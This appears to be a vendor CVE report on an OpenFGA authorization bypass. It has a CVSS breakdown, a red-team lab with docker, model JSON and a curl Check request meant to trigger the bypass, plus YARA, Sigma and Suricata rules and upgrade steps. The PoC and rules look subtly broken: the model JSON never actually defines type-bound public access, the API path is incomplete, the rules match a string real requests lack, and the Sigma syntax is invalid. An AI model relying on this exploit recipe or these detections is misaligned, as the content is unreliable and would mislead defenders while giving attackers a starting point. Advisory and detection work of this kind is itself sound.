CVE-2025-48371

Executive Summary

CVE-2025-48371 is a critical authorization bypass vulnerability in OpenFGA, an open-source authorization/permission engine. Versions 1.8.0 through 1.8.12 are affected. The flaw allows an attacker to bypass authorization checks when specific conditions are met involving type-bound public access and userset relationships, particularly when contextual tuples are used. Successful exploitation could lead to unauthorized access to resources, potentially compromising the confidentiality and integrity of the system. The vulnerability is patched in version 1.8.13.

Supply Chain & Package Security

OpenFGA is a Go-based project. The vulnerability affects the core authorization engine, which is distributed as a Docker image and a Helm chart. Users should verify the integrity of the updated package by checking the official GitHub releases and Docker Hub tags. The patch is backwards compatible, meaning no breaking changes are introduced.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is required.
• User Interaction (UI): None (N) - No user action is needed.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) - Unauthorized access to sensitive data is possible.
• Integrity (I): High (H) - Unauthorized modification of data is possible.
• Availability (A): None (N) - The vulnerability does not affect system availability.

Threat Level: Critical. The low attack complexity and network attack vector make this vulnerability highly exploitable.

Deep Dive & Mechanics

The vulnerability lies in the authorization model evaluation logic within OpenFGA. Specifically, it occurs when a relationship can be directly assignable by both a type-bound public access (TBPA) and a userset. TBPA allows any user of a specific type to have a relationship, while a userset defines a set of users.

The flaw is triggered under four specific conditions:

1. A Check API or ListObjects call is made with an authorization model that has a relationship directly assignable by both TBPA and userset.
2. The query includes contextual tuples for that relationship.
3. The user field in those contextual tuples is a userset (e.g., group:engineering#member).
4. No TBPA tuples are actually assigned to the relationship.

In this scenario, the engine incorrectly evaluates the authorization, potentially granting access when it should be denied. The root cause is a logic error in how the engine resolves the intersection of TBPA and userset assignments when contextual tuples are present.

Vulnerable vs. Patched Code

The exact code change is not publicly available, but the patch (version 1.8.13) addresses the logic error in the authorization evaluation. The vulnerable code likely mishandles the case where a relationship is defined with both TBPA and userset, but only userset contextual tuples are provided. The patched code correctly evaluates the authorization by properly checking the existence of TBPA tuples before considering the relationship as assignable by TBPA.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy OpenFGA version 1.8.12 using Docker.

   docker run -d --name openfga -p 8080:8080 openfga/openfga:1.8.12
   

2. Create Authorization Model: Create a model where a relationship viewer is directly assignable by both user:* (TBPA) and group#member (userset).

   {
     "schema_version": "1.1",
     "type_definitions": [
       {
         "type": "document",
         "relations": {
           "viewer": {
             "this": {}
           }
         },
         "metadata": {
           "relations": {
             "viewer": {
               "directly_assignable": true
             }
           }
         }
       },
       {
         "type": "user",
         "relations": {}
       },
       {
         "type": "group",
         "relations": {
           "member": {
             "this": {}
           }
         },
         "metadata": {
           "relations": {
             "member": {
               "directly_assignable": true
             }
           }
         }
       }
     ]
   }
   

3. Exploit: Send a Check API request with a contextual tuple that has a userset as the user, but no TBPA tuples assigned.

   curl -X POST http://localhost:8080/check \
     -H "Content-Type: application/json" \
     -d '{
       "tuple_key": {
         "user": "user:alice",
         "relation": "viewer",
         "object": "document:1"
       },
       "contextual_tuples": {
         "tuple_keys": [
           {
             "user": "group:engineering#member",
             "relation": "viewer",
             "object": "document:1"
           }
         ]
       },
       "authorization_model_id": "<model_id>"
     }'
   

   If the response is {"allowed": true}, the vulnerability is present.

Blue Team

1. Detection: Monitor for Check and ListObjects API calls that include contextual tuples with userset user fields.
2. Log Analysis: Look for patterns where the authorization model has both TBPA and userset for the same relationship.
3. Mitigation: Immediately upgrade to version 1.8.13.

Indicators of Compromise (IOCs)

• Network: Unusual Check or ListObjects API calls with contextual tuples containing userset user fields.
• Logs: Authorization decisions that appear inconsistent with the defined model.
• System: OpenFGA version 1.8.0 through 1.8.12.

Detection Engineering

YARA Rule

rule CVE_2025_48371_OpenFGA_AuthBypass {
    meta:
        description = "Detects OpenFGA authorization bypass attempts"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-48371"
    strings:
        $s1 = "contextual_tuples" ascii wide nocase
        $s2 = "userset" ascii wide nocase
        $s3 = "type_bound_public_access" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: OpenFGA Authorization Bypass Attempt
id: cve-2025-48371
status: experimental
description: Detects potential exploitation of CVE-2025-48371
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: openfga
detection:
    selection:
        event: "check" or "list_objects"
        request_body|contains: "contextual_tuples"
        request_body|contains: "userset"
    condition: selection
falsepositives:
    - Legitimate use of contextual tuples with usersets
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-48371 OpenFGA Authorization Bypass";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/check";
    http_uri;
    content:"contextual_tuples";
    http_client_body;
    content:"userset";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Upgrade to OpenFGA version 1.8.13.

   docker pull openfga/openfga:1.8.13
   docker stop openfga
   docker run -d --name openfga -p 8080:8080 openfga/openfga:1.8.13
   

2. Workaround: If immediate upgrade is not possible, avoid using authorization models that have relationships directly assignable by both type-bound public access and userset.
3. Monitoring: Enable detailed logging for all Check and ListObjects API calls.
4. Validation: Review authorization models for the vulnerable pattern.

Report generated by Valters IT DevSecOps & CTI Division